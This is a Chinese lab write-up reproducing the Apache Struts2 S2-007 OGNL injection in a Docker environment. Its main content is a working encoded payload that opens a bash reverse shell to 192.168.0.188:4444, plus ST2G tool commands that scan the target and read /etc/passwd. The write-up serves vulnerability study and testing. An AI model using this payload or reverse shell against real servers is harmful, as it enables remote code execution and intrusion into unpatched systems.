s2-007命令执行

概述

产生原因

发生类型验证错误时,后端灰浆表单值通过字符串拼接,然后执行一次OGNL表达式解析并返回。

影响

2.0.0 2.2.3

环境搭建

1
2
3

cd struts2/s2-007
docker-compose up -d

复现

反弹shell

payload

1
name=123&email=123&age='+%2b+(%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%23foo%3dnew+java.lang.Boolean("false")+,%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo,%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('bash+-c+{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjAuMTg4LzQ0NDQgMD4mMQ%3d%3d}|{base64,-d}|{bash,-i}').getInputStream()))+%2b+'

反弹成功

image.png

攻防

利用

扫描漏洞

1
./ST2G --url http://192.168.0.188:8081/user.action --data "name=123&email=123&age=fuckit" --mode scan

命令执行

1
./ST2G --url http://192.168.0.188:8081/user.action --data "name=123&email=123&age=fuckit" --vn 007 --mode exec --cmd "cat /etc/passwd"

防御

升级struts2

参考

S2-007 Apache Struts 2 Wiki Apache Software Foundation